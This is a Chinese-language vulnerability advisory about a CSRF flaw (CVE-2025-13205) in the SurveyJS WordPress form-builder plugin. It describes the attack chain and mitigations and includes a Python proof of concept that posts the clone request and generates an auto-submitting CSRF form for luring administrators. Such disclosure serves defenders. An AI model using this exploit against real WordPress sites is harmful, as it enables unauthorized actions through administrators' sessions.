IPBUF安全漏洞报告
English
CVE-2025-13205 CVSS 4.3 中危

CVE-2025-13205 WordPress SurveyJS插件CSRF漏洞可复制调查问卷

披露日期: 2026-01-24

漏洞信息

漏洞编号
CVE-2025-13205
漏洞类型
跨站请求伪造(CSRF)
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
SurveyJS WordPress Form Builder插件

相关标签

CSRF跨站请求伪造WordPress插件SurveyJSAJAX漏洞认证绕过表单构建器WordPress安全

漏洞概述

CVE-2025-13205是WordPress平台SurveyJS插件中的一个跨站请求伪造(CSRF)漏洞。该插件是一款用于创建、样式设计和嵌入多种复杂表单的拖拽式WordPress表单构建器。漏洞存在于插件的SurveyJS_CloneSurvey AJAX操作中,由于缺少正确的nonce验证机制,攻击者可以构造恶意请求,在未经身份验证的情况下复制网站上的调查问卷。攻击成功的前提是诱骗具有管理员权限的用户点击特制的恶意链接。此漏洞影响插件2.5.2及以下所有版本,CVSS评分4.3,属于中等严重程度。虽然该漏洞不会直接导致数据泄露或代码执行,但攻击者可利用此功能进行钓鱼攻击或收集调查问卷数据,对网站运营造成一定影响。

技术细节

该漏洞的根本原因在于WordPress AJAX处理程序中缺少CSRF token验证。SurveyJS_CloneSurvey AJAX action在处理调查问卷克隆请求时,未正确实现wp_verify_nonce()或同等防护机制。攻击者可以构造一个包含survey参数的POST请求,目标指向wp-admin/admin-ajax.php。当管理员被诱骗访问该恶意链接或页面时,浏览器会自动携带目标站点的cookies发送请求,导致克隆操作在管理员会话上下文中执行。攻击流程为:(1)攻击者确定目标站点使用的SurveyJS插件版本<=2.5.2;(2)构造包含survey_id参数的克隆请求;(3)通过社工手段诱导管理员点击恶意链接;(4)服务器在管理员认证状态下执行克隆操作,将指定调查问卷复制到攻击者控制的位置。防御措施包括:在AJAX handler中添加nonce验证、验证用户权限、使用check_ajax_referer()函数等。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标网站使用的SurveyJS WordPress插件版本<=2.5.2,确认存在SurveyJS_CloneSurvey AJAX端点
STEP 2
2. 构造恶意请求
攻击者构造包含survey_id参数的POST请求,目标指向/wp-admin/admin-ajax.php,设置action为SurveyJS_CloneSurvey
STEP 3
3. 社工诱导
攻击者通过钓鱼邮件、恶意网页或社交工程手段,诱骗WordPress管理员点击包含恶意请求的链接
STEP 4
4. 请求执行
管理员浏览器自动发送请求,由于请求不包含nonce验证,服务器在管理员认证会话中执行克隆操作
STEP 5
5. 调查问卷复制
服务器将指定ID的调查问卷复制到新位置,攻击者可通过访问目标站点获取复制的问卷内容或数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-13205 PoC - CSRF to Clone SurveyJS Survey # This PoC demonstrates the CSRF vulnerability in SurveyJS WordPress plugin <= 2.5.2 def clone_survey(target_url, survey_id, admin_cookie=None): """ Clone a survey via CSRF attack Args: target_url: Target WordPress site URL survey_id: ID of the survey to clone admin_cookie: Admin session cookie (if available) """ ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Construct the CSRF payload data = { 'action': 'SurveyJS_CloneSurvey', 'survey_id': survey_id, 'nonce': '' # No nonce required due to vulnerability } headers = { 'Content-Type': 'application/x-www-form-urlencoded', } if admin_cookie: headers['Cookie'] = admin_cookie try: response = requests.post(ajax_url, data=data, headers=headers, timeout=10) print(f"[+] Request sent to {ajax_url}") print(f"[+] Response Status: {response.status_code}") print(f"[+] Response: {response.text[:500]}") return response except requests.RequestException as e: print(f"[-] Error: {e}") return None def generate_csrf_html(target_url, survey_id): """ Generate HTML page with auto-submitting CSRF form For authorized security testing only """ html = f''' <!DOCTYPE html> <html> <head> <title>SurveyJS Clone CSRF PoC</title> </head> <body> <h1>CSRF PoC - SurveyJS Clone Survey</h1> <p>Click the button below to clone survey ID: {survey_id}</p> <form id="csrf_form" method="POST" action="{target_url}/wp-admin/admin-ajax.php"> <input type="hidden" name="action" value="SurveyJS_CloneSurvey"> <input type="hidden" name="survey_id" value="{survey_id}"> <button type="submit">Submit Request</button> </form> <script> // Auto-submit for demonstration // document.getElementById('csrf_form').submit(); </script> </body> </html> ''' return html if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-13205.py <target_url> <survey_id>") print("Example: python cve-2025-13205.py http://example.com 1") sys.exit(1) target = sys.argv[1] survey_id = sys.argv[2] print(f"[*] CVE-2025-13205 PoC - SurveyJS CSRF Vulnerability") print(f"[*] Target: {target}") print(f"[*] Survey ID: {survey_id}") clone_survey(target, survey_id)

影响范围

SurveyJS WordPress Form Builder插件 <= 2.5.2

防御指南

临时缓解措施
在等待官方修复期间,可采取以下临时缓解措施:(1)临时禁用SurveyJS插件的AJAX功能;(2)使用WordPress安全插件(如Wordfence)添加CSRF防护规则;(3)限制wp-admin访问权限,仅允许信任的IP地址访问管理后台;(4)对管理员进行安全意识培训,提醒不要点击未知链接;(5)启用双因素认证降低账户被盗风险;(6)监控AJAX请求日志,排查异常的SurveyJS_CloneSurvey调用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表